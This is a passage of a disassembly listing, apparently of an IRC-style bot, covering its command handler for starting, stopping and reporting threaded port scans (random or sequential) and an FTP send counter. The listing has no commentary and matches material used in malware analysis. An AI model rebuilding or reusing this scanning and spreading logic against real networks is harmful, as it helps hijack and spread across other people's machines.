locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FCB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB90[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63B0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44768F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444448
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444448


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EE1E5
		mov	eax, dword_444448
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444450


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EE1E5
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EE1E5
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444448
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444448
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444448[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DD4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset dword_444584
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60CD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444584
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60CD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44442Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F70
		mov	ecx, offset dword_447998
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60B5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444450[eax*4]
		inc	ecx
		mov	dword_444450[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAE8
		nop
		call	sub_5EE1E5
		mov	eax, offset dword_50DAE8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB90[esi*8]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB90[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
